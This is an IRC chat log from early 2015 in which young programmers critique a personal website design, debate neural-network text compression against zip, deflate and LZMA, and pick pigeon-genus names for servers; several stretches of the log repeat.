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[2015-02-03T00:03:20-0500] <@awe> Hyper: I replaced the sentence you hated.
[2015-02-03T00:03:38-0500] <Hyper> did you make it worse?
[2015-02-03T00:03:42-0500] <Hyper> :P
[2015-02-03T00:03:57-0500] <@awe> Hopefully not?
[2015-02-03T00:15:52-0500] <assface>  just got a new chair
[2015-02-03T00:15:54-0500] <assface> is nice
[2015-02-03T00:16:14-0500] <assface> old chair was the shittiest of shitty
[2015-02-03T00:16:17-0500] <@awe> Guys, as it is now or https://www.dropbox.com/s/19e951z610f805d/Screenshot%202015-02-03%2000.12.11.png?dl=0
[2015-02-03T00:17:45-0500] <assface> what"s it for?
[2015-02-03T00:17:55-0500] <@awe> Replacing aaronweiss.us
[2015-02-03T00:18:01-0500] <hardmath123> awe: lose the shadow/box!
[2015-02-03T00:18:28-0500] <hardmath123> awe: you don't need it.
[2015-02-03T00:18:53-0500] <@awe> https://www.dropbox.com/s/6xgwveld7o3wtjq/Screenshot%202015-02-03%2000.18.51.png?dl=0
[2015-02-03T00:18:54-0500] <@awe> ?
[2015-02-03T00:18:58-0500] <hardmath123> awe: also, when you list all the websites you're on, add "keybase"
[2015-02-03T00:19:03-0500] <hardmath123> for nerdcred
[2015-02-03T00:19:04-0500] <@awe> That's a good point.
[2015-02-03T00:19:23-0500] <@awe> hardmath123: what do you think of that?
[2015-02-03T00:19:24-0500] <hardmath123> awe: no, no, no rectangle. text floating on the grayish background.
[2015-02-03T00:19:28-0500] <@awe> It looks weird.
[2015-02-03T00:19:37-0500] <hardmath123> no it doesn't
[2015-02-03T00:19:47-0500] <hardmath123> you're too conditioned by bootstrap's obsession with rectangels
[2015-02-03T00:19:57-0500] <@awe> No, I'm not.
[2015-02-03T00:20:17-0500] <assface> "I can quit whenever I want to"
[2015-02-03T00:20:31-0500] <@awe> I'm seriously not.
[2015-02-03T00:20:39-0500] <@awe> I've never made a site that uses anything rectangular from bootstrap.
[2015-02-03T00:20:53-0500] <@awe> The issue is that floating text looks weird.
[2015-02-03T00:21:01-0500] <hardmath123> No it doesn't!
[2015-02-03T00:21:05-0500] <@awe> It does.
[2015-02-03T00:21:07-0500] <assface> no it doesnt
[2015-02-03T00:21:09-0500] <hardmath123> Do books have borders around the text?
[2015-02-03T00:21:22-0500] <hardmath123> Do movie credits have guiding margin-lines?
[2015-02-03T00:21:47-0500] <@awe> Nobody reads credits.
[2015-02-03T00:21:59-0500] <hardmath123> And nobody'll read your blurb.
[2015-02-03T00:22:11-0500] <assface> <rekt>
[2015-02-03T00:22:13-0500] <hardmath123> It's there because it should be there; it establishes credibility.
[2015-02-03T00:22:13-0500] <@awe> That's rude, and not really an argument for design.
[2015-02-03T00:22:25-0500] <hardmath123> But nobody will actually read it and parse the detail.
[2015-02-03T00:22:30-0500] <hardmath123> Nobody will read mine, either.
[2015-02-03T00:22:48-0500] <@awe> For the record, Pharyngeal came here because he read my blurb.
[2015-02-03T00:22:48-0500] <hardmath123> What matters is that they see lots of links to sites that you *should* be on. They see words like "work at a startup".
[2015-02-03T00:23:32-0500] <assface> lol
[2015-02-03T00:23:33-0500] <@awe> Anyway, I don't like any of the things I've put up so far.
[2015-02-03T00:23:37-0500] <assface> you actually have personal websites
[2015-02-03T00:23:37-0500] <@awe> But it also looks a bit weird just floating.
[2015-02-03T00:23:43-0500] <@awe> Maybe I should change the background color.
[2015-02-03T00:23:59-0500] <hardmath123> No, I like the background color.
[2015-02-03T00:24:08-0500] <hardmath123> It's the next best thing to white. :3
[2015-02-03T00:24:28-0500] <@awe> It's hard to look at if it's white.
[2015-02-03T00:24:42-0500] <hardmath123> Anyhow, I didn't mean to be rude, I was just stating a fact---or, at least, strong and well-founded opinion---about blurbs.
[2015-02-03T00:25:02-0500] <@awe> well-founded?
[2015-02-03T00:25:13-0500] <@awe> I mean, yes, people don't actually read ANYTHING on the internet.
[2015-02-03T00:25:18-0500] <@awe> But they still skim it.
[2015-02-03T00:25:49-0500] <assface> I once read a book on the internet
[2015-02-03T00:26:21-0500] <hardmath123> Yeah.
[2015-02-03T00:26:40-0500] <hardmath123> Ok, like tamini, I'm going to get extra sleep tonight so that I don't bomb the AMC. Night night.
[2015-02-03T00:28:13-0500] <@awe> Okay, c'ya.
[2015-02-03T00:28:53-0500] <assface> wait the AMC is tomorrow?
[2015-02-03T00:28:59-0500] <@awe> Apparently.
[2015-02-03T00:29:03-0500] <assface> oh
[2015-02-03T00:29:07-0500] <assface> I was going to sign up this year
[2015-02-03T00:39:05-0500] <nezorg> assface: we're taking the B, you might still be able to sign up
[2015-02-03T00:39:31-0500] <@awe> nezorg: gib me ur opinions
[2015-02-03T00:46:41-0500] <assface> nezorg: taking the D, eh?
[2015-02-03T00:47:27-0500] <nezorg> no, "B" for "bass"
[2015-02-03T00:47:35-0500] <assface> D for "datass"
[2015-02-03T00:53:05-0500] <@awe> nezorg: watchu think http://aatxe.github.io/aaronweiss.us/
[2015-02-03T00:54:12-0500] <nezorg> i don't know why there's a lambda in front if your name
[2015-02-03T00:54:35-0500] <@awe> because I'm really fond of functional languages.
[2015-02-03T00:54:39-0500] <@awe> That aside, actual design commentary
[2015-02-03T00:55:00-0500] <nezorg> but why in front of your name
[2015-02-03T00:55:20-0500] <@awe> As a logo of sorts, I suppose.
[2015-02-03T00:55:49-0500] <@awe> It's not uncommon. I've seen people replace the l in blog with a lambda, etc.
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[2015-02-03T01:40:59-0500] <@awe> Welp, the static site happened, and so tomorrow, I can add another server and go through all that pain
[2015-02-03T01:41:27-0500] <LittleBobbyTables> https://www.youtube.com/watch?feature=player_embedded&v=Tqbyc2oo3q8#t=491
[2015-02-03T01:41:32-0500] <@awe> http://aaronweiss.us
[2015-02-03T01:41:34-0500] <LittleBobbyTables> Watch the guy on the left, in the number 3 jacket.
[2015-02-03T01:41:39-0500] <LittleBobbyTables> He reminds me of you guys and your sportsball
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[2015-02-03T06:30:02-0500] <JacobEdelman> awe, your site is really gonna say: "I'm an open source software developer with rough;y eight years of experience"? 
[2015-02-03T06:32:17-0500] <JacobEdelman> .... cause, you're what, 19 years old?
[2015-02-03T06:32:31-0500] <JacobEdelman> it seems to imply you've been developing open source software since you were 11
[2015-02-03T06:32:42-0500] <JacobEdelman> which may technically be true I guess....
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[2015-02-03T09:58:59-0500] <hardmath123> awe: very pretty :)
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[2015-02-03T12:51:54-0500] Set by awe on February 2, 2015 at 9:11:05 PM EST
[2015-02-03T00:23:32-0500] <assface> lol
[2015-02-03T00:23:33-0500] <@awe> Anyway, I don't like any of the things I've put up so far.
[2015-02-03T00:23:37-0500] <assface> you actually have personal websites
[2015-02-03T00:23:37-0500] <@awe> But it also looks a bit weird just floating.
[2015-02-03T00:23:43-0500] <@awe> Maybe I should change the background color.
[2015-02-03T00:23:59-0500] <hardmath123> No, I like the background color.
[2015-02-03T00:24:08-0500] <hardmath123> It's the next best thing to white. :3
[2015-02-03T00:24:29-0500] <@awe> It's hard to look at if it's white.
[2015-02-03T00:24:42-0500] <hardmath123> Anyhow, I didn't mean to be rude, I was just stating a fact---or, at least, strong and well-founded opinion---about blurbs.
[2015-02-03T00:25:02-0500] <@awe> well-founded?
[2015-02-03T00:25:13-0500] <@awe> I mean, yes, people don't actually read ANYTHING on the internet.
[2015-02-03T00:25:18-0500] <@awe> But they still skim it.
[2015-02-03T00:25:49-0500] <assface> I once read a book on the internet
[2015-02-03T00:26:21-0500] <hardmath123> Yeah.
[2015-02-03T00:26:40-0500] <hardmath123> Ok, like tamini, I'm going to get extra sleep tonight so that I don't bomb the AMC. Night night.
[2015-02-03T00:28:13-0500] <@awe> Okay, c'ya.
[2015-02-03T00:28:53-0500] <assface> wait the AMC is tomorrow?
[2015-02-03T00:28:59-0500] <@awe> Apparently.
[2015-02-03T00:29:03-0500] <assface> oh
[2015-02-03T00:29:07-0500] <assface> I was going to sign up this year
[2015-02-03T00:39:05-0500] <nezorg> assface: we're taking the B, you might still be able to sign up
[2015-02-03T00:39:31-0500] <@awe> nezorg: gib me ur opinions
[2015-02-03T00:46:41-0500] <assface> nezorg: taking the D, eh?
[2015-02-03T00:47:27-0500] <nezorg> no, "B" for "bass"
[2015-02-03T00:47:35-0500] <assface> D for "datass"
[2015-02-03T00:53:05-0500] <@awe> nezorg: watchu think http://aatxe.github.io/aaronweiss.us/
[2015-02-03T00:54:12-0500] <nezorg> i don't know why there's a lambda in front if your name
[2015-02-03T00:54:35-0500] <@awe> because I'm really fond of functional languages.
[2015-02-03T00:54:39-0500] <@awe> That aside, actual design commentary
[2015-02-03T00:55:00-0500] <nezorg> but why in front of your name
[2015-02-03T00:55:20-0500] <@awe> As a logo of sorts, I suppose.
[2015-02-03T00:55:49-0500] <@awe> It's not uncommon. I've seen people replace the l in blog with a lambda, etc.
[2015-02-03T01:40:59-0500] <@awe> Welp, the static site happened, and so tomorrow, I can add another server and go through all that pain
[2015-02-03T01:41:27-0500] <LittleBobbyTables> https://www.youtube.com/watch?feature=player_embedded&v=Tqbyc2oo3q8#t=491
[2015-02-03T01:41:32-0500] <@awe> http://aaronweiss.us
[2015-02-03T01:41:34-0500] <LittleBobbyTables> Watch the guy on the left, in the number 3 jacket.
[2015-02-03T01:41:39-0500] <LittleBobbyTables> He reminds me of you guys and your sportsball
[2015-02-03T06:30:02-0500] <JacobEdelman> awe, your site is really gonna say: "I'm an open source software developer with rough;y eight years of experience"? 
[2015-02-03T06:32:17-0500] <JacobEdelman> .... cause, you're what, 19 years old?
[2015-02-03T06:32:31-0500] <JacobEdelman> it seems to imply you've been developing open source software since you were 11
[2015-02-03T06:32:42-0500] <JacobEdelman> which may technically be true I guess....
[2015-02-03T09:58:59-0500] <hardmath123> awe: very pretty :)
[2015-02-03T10:46:34-0500] <JacobEdelman> I have rearrived
[2015-02-03T11:24:14-0500] <JacobEdelman> my neural network can now compress text to less than 1x its original size, yeah!
[2015-02-03T11:24:16-0500] <JacobEdelman> :P
[2015-02-03T11:51:55-0500] <JacobEdelman> whoops, now my compressed data is 4.029 times the size of the original data....
[2015-02-03T12:06:08-0500] <Hyper> JacobEdelman: if you invert that you've got GREAT compression ratios!
[2015-02-03T12:06:58-0500] <JacobEdelman> :P
[2015-02-03T12:08:18-0500] <JacobEdelman> (i'm trying to compress data thats the output of zip encoding, so its very random looking already)
[2015-02-03T12:26:22-0500] <JacobEdelman> 7.692x now :P
[2015-02-03T12:51:54-0500] Mode is +nt
[2015-02-03T12:52:14-0500] <@awe> JacobEdelman: you're doing a bad job.
[2015-02-03T12:52:39-0500] <alokpathy> What's happening>
[2015-02-03T12:52:39-0500] <alokpathy> ?
[2015-02-03T12:52:43-0500] <Hyper> neural nets for compressing text seems like a very bad idea anyways
[2015-02-03T12:52:59-0500] <Hyper> like there's not gonna be a good, continuous fitness function, is there?
[2015-02-03T12:52:59-0500] <@awe> alokpathy: Jacob is doing an awful job of compressing data.
[2015-02-03T12:53:11-0500] <alokpathy> Oh, yeah, that 25%?
[2015-02-03T12:53:14-0500] <alokpathy> He just told me XD
[2015-02-03T12:53:20-0500] <alokpathy> Hyper: Jacob says he agrees with you.
[2015-02-03T12:53:24-0500] <alokpathy> Hyper: Wholeheartedly.
[2015-02-03T12:53:36-0500] <JacobEdelman> Hyper: alok is lieing
[2015-02-03T12:53:39-0500] <@awe> I thought so.
[2015-02-03T12:53:43-0500] <Hyper> D:
[2015-02-03T12:53:44-0500] <JacobEdelman> Hyper: they have achieved better compression than zip
[2015-02-03T12:53:48-0500] <@awe> I was going to say "Jacob agreed silently?"
[2015-02-03T12:53:53-0500] <@awe> Zip is also bad.
[2015-02-03T12:54:00-0500] <Hyper> JacobEdelman: what's your fitness function like, then?
[2015-02-03T12:54:06-0500] <JacobEdelman> awe: it terms of compression ratio its great
[2015-02-03T12:54:12-0500] <@awe> ?
[2015-02-03T12:54:12-0500] <@awe> N.
[2015-02-03T12:54:15-0500] <alokpathy> Hyper: He actually agrees with you, but he wants to keep his reputation of disagreeing with everybody up :P
[2015-02-03T12:54:17-0500] <Hyper> like I don't doubt that neural nets *can* do it
[2015-02-03T12:54:27-0500] <Hyper> but whether that's a good application...
[2015-02-03T12:54:30-0500] <alokpathy> JacobEdelman: 25% isn't good.
[2015-02-03T12:54:31-0500] <JacobEdelman> Hyper: ... I don't think you completely understand... but, the network is training to predict the next letter in the sequence, it gives probabiltiies and such
[2015-02-03T12:54:37-0500] <@awe> There's a number of compression functions that have better ratios than zip.
[2015-02-03T12:54:42-0500] <@awe> Zip is just rather fast.
[2015-02-03T12:54:43-0500] <JacobEdelman> alokpathy: my personal attempt is bad
[2015-02-03T12:54:48-0500] <JacobEdelman> awe: they are all based of zip
[2015-02-03T12:54:58-0500] <JacobEdelman> awe: give me link
[2015-02-03T12:55:04-0500] <Hyper> JacobEdelman: ah, so it's more of a prediction algorithm than a compression algorithm
[2015-02-03T12:55:16-0500] <JacobEdelman> Hyper: you use it to compress
[2015-02-03T12:55:38-0500] <Hyper> not if you want your data to come out the same on the other end o.o
[2015-02-03T13:00:08-0500] <@awe> JacobEdelman: too busy, don't really care.
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[2015-02-03T13:33:07-0500] <JacobEdelman> awe: I care, can you find it please, if there is sone that is substantially better and not zip I want to know
[2015-02-03T13:39:44-0500] <@awe> LZMA is better than deflate.
[2015-02-03T13:39:49-0500] <@awe> AFAIK.
[2015-02-03T13:46:29-0500] <@awe> My professor just said that GNU wanted a free (as in cost) version of Unix.
[2015-02-03T13:46:30-0500] <@awe> O lawd.
[2015-02-03T13:50:39-0500] <JacobEdelman> we have different definitions of zip I think
[2015-02-03T13:50:46-0500] <JacobEdelman> "The Lempel–Ziv–Markov chain algorithm (LZMA) is an algorithm used to perform lossless data compression. It has been under development either since 1998 or 1996[1] and was first used in the 7z format of the 7-Zip archiver. "
[2015-02-03T13:51:01-0500] <JacobEdelman> (7z in my opinion is zip)
[2015-02-03T13:51:12-0500] <JacobEdelman> (thats what I meant by zip)
[2015-02-03T13:51:20-0500] <@awe> That's not...
[2015-02-03T13:51:24-0500] <JacobEdelman> (on further research I can see where the confusion comes from)
[2015-02-03T13:51:25-0500] <JacobEdelman> well...
[2015-02-03T13:51:27-0500] <@awe> zip is a container format.
[2015-02-03T13:51:32-0500] <@awe> Typically, zip refers to deflate.
[2015-02-03T13:51:38-0500] <@awe> deflate is a compression algorithm.
[2015-02-03T13:51:42-0500] <@awe> LZMA is also a compression algorithm.
[2015-02-03T13:51:46-0500] <@awe> Technically, they're kind of similar.
[2015-02-03T13:51:55-0500] <@awe> But there's substantial differences.
[2015-02-03T13:52:34-0500] <JacobEdelman> so: "The .ZIP File Format Specification documents the following compression methods: Store (no compression), Shrink, Reduce (levels 1-4), Implode, Deflate, Deflate64, bzip2, LZMA (EFS), WavPack, and PPMd. The most commonly used compression method is DEFLATE, which is described in IETF RFC 1951."
[2015-02-03T13:52:44-0500] <@awe> Yes.
[2015-02-03T13:52:45-0500] <JacobEdelman> you;re right
[2015-02-03T13:52:45-0500] <@awe> I'm aware.
[2015-02-03T13:52:49-0500] <JacobEdelman> it was mostly my fault
[2015-02-03T13:52:53-0500] <@awe> Mostly?
[2015-02-03T13:52:56-0500] <JacobEdelman> by zip I meant lsma
[2015-02-03T13:52:57-0500] <JacobEdelman> *lzma
[2015-02-03T13:53:05-0500] <@awe> Okay, that's fine. That's kind of neat then.
[2015-02-03T13:53:06-0500] <JacobEdelman> fine, it was my fault
[2015-02-03T13:53:38-0500] <@awe> Yup.
[2015-02-03T13:53:38-0500] <JacobEdelman> yup, neural networks will probaly beat any other method that we have now in a few years
[2015-02-03T13:53:45-0500] <@awe> That's awesome.
[2015-02-03T13:54:58-0500] <JacobEdelman> oh wow, its also fast: http://www.aaai.org/Papers/FLAIRS/2000/FLAIRS00-044.pdf
[2015-02-03T13:55:47-0500] <@awe> This is good.
[2015-02-03T13:56:27-0500] <JacobEdelman> yup, the future is going to be cool
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[2015-02-03T12:54:10-0500] <@awe> ?
[2015-02-03T12:54:11-0500] <@awe> N.
[2015-02-03T12:54:14-0500] <alokpathy> Hyper: He actually agrees with you, but he wants to keep his reputation of disagreeing with everybody up :P
[2015-02-03T12:54:16-0500] <Hyper> like I don't doubt that neural nets *can* do it
[2015-02-03T12:54:26-0500] <Hyper> but whether that's a good application...
[2015-02-03T12:54:28-0500] <alokpathy> JacobEdelman: 25% isn't good.
[2015-02-03T12:54:30-0500] <JacobEdelman> Hyper: ... I don't think you completely understand... but, the network is training to predict the next letter in the sequence, it gives probabiltiies and such
[2015-02-03T12:54:36-0500] <@awe> There's a number of compression functions that have better ratios than zip.
[2015-02-03T12:54:41-0500] <@awe> Zip is just rather fast.
[2015-02-03T12:54:42-0500] <JacobEdelman> alokpathy: my personal attempt is bad
[2015-02-03T12:54:47-0500] <JacobEdelman> awe: they are all based of zip
[2015-02-03T12:54:57-0500] <JacobEdelman> awe: give me link
[2015-02-03T12:55:03-0500] <Hyper> JacobEdelman: ah, so it's more of a prediction algorithm than a compression algorithm
[2015-02-03T12:55:14-0500] <JacobEdelman> Hyper: you use it to compress
[2015-02-03T12:55:37-0500] <Hyper> not if you want your data to come out the same on the other end o.o
[2015-02-03T13:00:07-0500] <@awe> JacobEdelman: too busy, don't really care.
[2015-02-03T13:33:06-0500] <JacobEdelman> awe: I care, can you find it please, if there is sone that is substantially better and not zip I want to know
[2015-02-03T13:39:43-0500] <@awe> LZMA is better than deflate.
[2015-02-03T13:39:48-0500] <@awe> AFAIK.
[2015-02-03T13:46:29-0500] <@awe> My professor just said that GNU wanted a free (as in cost) version of Unix.
[2015-02-03T13:46:29-0500] <@awe> O lawd.
[2015-02-03T13:50:38-0500] <JacobEdelman> we have different definitions of zip I think
[2015-02-03T13:50:44-0500] <JacobEdelman> "The Lempel–Ziv–Markov chain algorithm (LZMA) is an algorithm used to perform lossless data compression. It has been under development either since 1998 or 1996[1] and was first used in the 7z format of the 7-Zip archiver. "
[2015-02-03T13:50:59-0500] <JacobEdelman> (7z in my opinion is zip)
[2015-02-03T13:51:11-0500] <JacobEdelman> (thats what I meant by zip)
[2015-02-03T13:51:19-0500] <@awe> That's not...
[2015-02-03T13:51:23-0500] <JacobEdelman> (on further research I can see where the confusion comes from)
[2015-02-03T13:51:24-0500] <JacobEdelman> well...
[2015-02-03T13:51:25-0500] <@awe> zip is a container format.
[2015-02-03T13:51:31-0500] <@awe> Typically, zip refers to deflate.
[2015-02-03T13:51:37-0500] <@awe> deflate is a compression algorithm.
[2015-02-03T13:51:41-0500] <@awe> LZMA is also a compression algorithm.
[2015-02-03T13:51:45-0500] <@awe> Technically, they're kind of similar.
[2015-02-03T13:51:54-0500] <@awe> But there's substantial differences.
[2015-02-03T13:52:33-0500] <JacobEdelman> so: "The .ZIP File Format Specification documents the following compression methods: Store (no compression), Shrink, Reduce (levels 1-4), Implode, Deflate, Deflate64, bzip2, LZMA (EFS), WavPack, and PPMd. The most commonly used compression method is DEFLATE, which is described in IETF RFC 1951."
[2015-02-03T13:52:43-0500] <@awe> Yes.
[2015-02-03T13:52:44-0500] <JacobEdelman> you;re right
[2015-02-03T13:52:44-0500] <@awe> I'm aware.
[2015-02-03T13:52:48-0500] <JacobEdelman> it was mostly my fault
[2015-02-03T13:52:52-0500] <@awe> Mostly?
[2015-02-03T13:52:54-0500] <JacobEdelman> by zip I meant lsma
[2015-02-03T13:52:56-0500] <JacobEdelman> *lzma
[2015-02-03T13:53:04-0500] <@awe> Okay, that's fine. That's kind of neat then.
[2015-02-03T13:53:05-0500] <JacobEdelman> fine, it was my fault
[2015-02-03T13:53:36-0500] <@awe> Yup.
[2015-02-03T13:53:36-0500] <JacobEdelman> yup, neural networks will probaly beat any other method that we have now in a few years
[2015-02-03T13:53:44-0500] <@awe> That's awesome.
[2015-02-03T13:54:57-0500] <JacobEdelman> oh wow, its also fast: http://www.aaai.org/Papers/FLAIRS/2000/FLAIRS00-044.pdf
[2015-02-03T13:55:46-0500] <@awe> This is good.
[2015-02-03T13:56:26-0500] <JacobEdelman> yup, the future is going to be cool
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[2015-02-03T14:27:15-0500] <@awe> Okay, I'm done with classes for the day. It's time to work on server stuff.
[2015-02-03T14:29:23-0500] <@awe> Guys, we need to name our servers.
[2015-02-03T14:29:33-0500] <@awe> This is incredibly important.
[2015-02-03T14:36:10-0500] <Hyper> awe: I vote for one named skyrat
[2015-02-03T14:42:04-0500] <@awe> Hyper: because it's another term for pigeon?
[2015-02-03T14:42:16-0500] <Hyper> yep
[2015-02-03T14:48:05-0500] <@awe> I feel like that would be very limiting though.
[2015-02-03T14:48:42-0500] <@awe> I wanted a theme across all of the names.
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[2015-02-03T12:54:57-0500] <JacobEdelman> awe: give me link
[2015-02-03T12:55:03-0500] <Hyper> JacobEdelman: ah, so it's more of a prediction algorithm than a compression algorithm
[2015-02-03T12:55:14-0500] <JacobEdelman> Hyper: you use it to compress
[2015-02-03T12:55:37-0500] <Hyper> not if you want your data to come out the same on the other end o.o
[2015-02-03T13:00:07-0500] <@awe> JacobEdelman: too busy, don't really care.
[2015-02-03T13:33:06-0500] <JacobEdelman> awe: I care, can you find it please, if there is sone that is substantially better and not zip I want to know
[2015-02-03T13:39:43-0500] <@awe> LZMA is better than deflate.
[2015-02-03T13:39:48-0500] <@awe> AFAIK.
[2015-02-03T13:46:29-0500] <@awe> My professor just said that GNU wanted a free (as in cost) version of Unix.
[2015-02-03T13:46:29-0500] <@awe> O lawd.
[2015-02-03T13:50:38-0500] <JacobEdelman> we have different definitions of zip I think
[2015-02-03T13:50:44-0500] <JacobEdelman> "The Lempel–Ziv–Markov chain algorithm (LZMA) is an algorithm used to perform lossless data compression. It has been under development either since 1998 or 1996[1] and was first used in the 7z format of the 7-Zip archiver. "
[2015-02-03T13:50:59-0500] <JacobEdelman> (7z in my opinion is zip)
[2015-02-03T13:51:11-0500] <JacobEdelman> (thats what I meant by zip)
[2015-02-03T13:51:19-0500] <@awe> That's not...
[2015-02-03T13:51:23-0500] <JacobEdelman> (on further research I can see where the confusion comes from)
[2015-02-03T13:51:24-0500] <JacobEdelman> well...
[2015-02-03T13:51:25-0500] <@awe> zip is a container format.
[2015-02-03T13:51:31-0500] <@awe> Typically, zip refers to deflate.
[2015-02-03T13:51:37-0500] <@awe> deflate is a compression algorithm.
[2015-02-03T13:51:41-0500] <@awe> LZMA is also a compression algorithm.
[2015-02-03T13:51:45-0500] <@awe> Technically, they're kind of similar.
[2015-02-03T13:51:54-0500] <@awe> But there's substantial differences.
[2015-02-03T13:52:33-0500] <JacobEdelman> so: "The .ZIP File Format Specification documents the following compression methods: Store (no compression), Shrink, Reduce (levels 1-4), Implode, Deflate, Deflate64, bzip2, LZMA (EFS), WavPack, and PPMd. The most commonly used compression method is DEFLATE, which is described in IETF RFC 1951."
[2015-02-03T13:52:43-0500] <@awe> Yes.
[2015-02-03T13:52:44-0500] <JacobEdelman> you;re right
[2015-02-03T13:52:44-0500] <@awe> I'm aware.
[2015-02-03T13:52:48-0500] <JacobEdelman> it was mostly my fault
[2015-02-03T13:52:52-0500] <@awe> Mostly?
[2015-02-03T13:52:54-0500] <JacobEdelman> by zip I meant lsma
[2015-02-03T13:52:56-0500] <JacobEdelman> *lzma
[2015-02-03T13:53:04-0500] <@awe> Okay, that's fine. That's kind of neat then.
[2015-02-03T13:53:05-0500] <JacobEdelman> fine, it was my fault
[2015-02-03T13:53:36-0500] <@awe> Yup.
[2015-02-03T13:53:36-0500] <JacobEdelman> yup, neural networks will probaly beat any other method that we have now in a few years
[2015-02-03T13:53:44-0500] <@awe> That's awesome.
[2015-02-03T13:54:57-0500] <JacobEdelman> oh wow, its also fast: http://www.aaai.org/Papers/FLAIRS/2000/FLAIRS00-044.pdf
[2015-02-03T13:55:46-0500] <@awe> This is good.
[2015-02-03T13:56:26-0500] <JacobEdelman> yup, the future is going to be cool
[2015-02-03T14:27:14-0500] <@awe> Okay, I'm done with classes for the day. It's time to work on server stuff.
[2015-02-03T14:29:22-0500] <@awe> Guys, we need to name our servers.
[2015-02-03T14:29:33-0500] <@awe> This is incredibly important.
[2015-02-03T14:36:09-0500] <Hyper> awe: I vote for one named skyrat
[2015-02-03T14:42:03-0500] <@awe> Hyper: because it's another term for pigeon?
[2015-02-03T14:42:15-0500] <Hyper> yep
[2015-02-03T14:48:04-0500] <@awe> I feel like that would be very limiting though.
[2015-02-03T14:48:41-0500] <@awe> I wanted a theme across all of the names.
[2015-02-03T15:00:29-0500] <alokpathy> Canary :D
[2015-02-03T15:02:08-0500] <alokpathy> Have them all be birds without vowels :P
[2015-02-03T15:02:17-0500] <alokpathy> So, cnry
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[2015-02-03T15:15:37-0500] Set by awe on February 2, 2015 at 9:11:05 PM EST
[2015-02-03T12:54:57-0500] <JacobEdelman> awe: give me link
[2015-02-03T12:55:03-0500] <Hyper> JacobEdelman: ah, so it's more of a prediction algorithm than a compression algorithm
[2015-02-03T12:55:14-0500] <JacobEdelman> Hyper: you use it to compress
[2015-02-03T12:55:37-0500] <Hyper> not if you want your data to come out the same on the other end o.o
[2015-02-03T13:00:07-0500] <@awe> JacobEdelman: too busy, don't really care.
[2015-02-03T13:33:06-0500] <JacobEdelman> awe: I care, can you find it please, if there is sone that is substantially better and not zip I want to know
[2015-02-03T13:39:43-0500] <@awe> LZMA is better than deflate.
[2015-02-03T13:39:48-0500] <@awe> AFAIK.
[2015-02-03T13:46:29-0500] <@awe> My professor just said that GNU wanted a free (as in cost) version of Unix.
[2015-02-03T13:46:29-0500] <@awe> O lawd.
[2015-02-03T13:50:38-0500] <JacobEdelman> we have different definitions of zip I think
[2015-02-03T13:50:44-0500] <JacobEdelman> "The Lempel–Ziv–Markov chain algorithm (LZMA) is an algorithm used to perform lossless data compression. It has been under development either since 1998 or 1996[1] and was first used in the 7z format of the 7-Zip archiver. "
[2015-02-03T13:50:59-0500] <JacobEdelman> (7z in my opinion is zip)
[2015-02-03T13:51:11-0500] <JacobEdelman> (thats what I meant by zip)
[2015-02-03T13:51:19-0500] <@awe> That's not...
[2015-02-03T13:51:23-0500] <JacobEdelman> (on further research I can see where the confusion comes from)
[2015-02-03T13:51:24-0500] <JacobEdelman> well...
[2015-02-03T13:51:25-0500] <@awe> zip is a container format.
[2015-02-03T13:51:31-0500] <@awe> Typically, zip refers to deflate.
[2015-02-03T13:51:37-0500] <@awe> deflate is a compression algorithm.
[2015-02-03T13:51:41-0500] <@awe> LZMA is also a compression algorithm.
[2015-02-03T13:51:45-0500] <@awe> Technically, they're kind of similar.
[2015-02-03T13:51:54-0500] <@awe> But there's substantial differences.
[2015-02-03T13:52:33-0500] <JacobEdelman> so: "The .ZIP File Format Specification documents the following compression methods: Store (no compression), Shrink, Reduce (levels 1-4), Implode, Deflate, Deflate64, bzip2, LZMA (EFS), WavPack, and PPMd. The most commonly used compression method is DEFLATE, which is described in IETF RFC 1951."
[2015-02-03T13:52:43-0500] <@awe> Yes.
[2015-02-03T13:52:44-0500] <JacobEdelman> you;re right
[2015-02-03T13:52:44-0500] <@awe> I'm aware.
[2015-02-03T13:52:48-0500] <JacobEdelman> it was mostly my fault
[2015-02-03T13:52:52-0500] <@awe> Mostly?
[2015-02-03T13:52:54-0500] <JacobEdelman> by zip I meant lsma
[2015-02-03T13:52:56-0500] <JacobEdelman> *lzma
[2015-02-03T13:53:04-0500] <@awe> Okay, that's fine. That's kind of neat then.
[2015-02-03T13:53:05-0500] <JacobEdelman> fine, it was my fault
[2015-02-03T13:53:36-0500] <@awe> Yup.
[2015-02-03T13:53:36-0500] <JacobEdelman> yup, neural networks will probaly beat any other method that we have now in a few years
[2015-02-03T13:53:44-0500] <@awe> That's awesome.
[2015-02-03T13:54:57-0500] <JacobEdelman> oh wow, its also fast: http://www.aaai.org/Papers/FLAIRS/2000/FLAIRS00-044.pdf
[2015-02-03T13:55:46-0500] <@awe> This is good.
[2015-02-03T13:56:26-0500] <JacobEdelman> yup, the future is going to be cool
[2015-02-03T14:27:14-0500] <@awe> Okay, I'm done with classes for the day. It's time to work on server stuff.
[2015-02-03T14:29:22-0500] <@awe> Guys, we need to name our servers.
[2015-02-03T14:29:33-0500] <@awe> This is incredibly important.
[2015-02-03T14:36:09-0500] <Hyper> awe: I vote for one named skyrat
[2015-02-03T14:42:03-0500] <@awe> Hyper: because it's another term for pigeon?
[2015-02-03T14:42:15-0500] <Hyper> yep
[2015-02-03T14:48:04-0500] <@awe> I feel like that would be very limiting though.
[2015-02-03T14:48:41-0500] <@awe> I wanted a theme across all of the names.
[2015-02-03T15:00:29-0500] <alokpathy> Canary :D
[2015-02-03T15:02:08-0500] <alokpathy> Have them all be birds without vowels :P
[2015-02-03T15:02:17-0500] <alokpathy> So, cnry
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[2015-02-03T15:15:47-0500] <@awe> Eh.
[2015-02-03T15:18:04-0500] <@awe> I want something better than that.
[2015-02-03T15:18:31-0500] <@awe> We could do genus of pigeons?
[2015-02-03T15:18:38-0500] <@awe> or species of pigeons?
[2015-02-03T15:18:39-0500] <@awe> Whatever?
[2015-02-03T15:19:51-0500] <@awe> https://en.wikipedia.org/wiki/List_of_Columbidae
[2015-02-03T15:20:22-0500] <@awe> Genus is probably sufficient.
[2015-02-03T15:21:05-0500] <@awe> raphus.pdgn.co
[2015-02-03T15:21:17-0500] <@awe> ducula.pdgn.co
[2015-02-03T15:21:25-0500] <@awe> the former is Dodo birds :)
[2015-02-03T15:22:18-0500] <@awe> the latter is imperial pigeons.
[2015-02-03T15:22:46-0500] <@awe> or columba.pdgn.co instead of ducula because columba is the genus of European pigeons.
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[2015-02-03T15:37:38-0500] <@awe> I think I'll do that.
[2015-02-03T15:37:59-0500] <@awe> columba will definitely be the main one.
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[2015-02-03T16:22:02-0500] <@awe> hi MrSaints 
[2015-02-03T16:22:09-0500] <MrSaints> hi alokpathy 
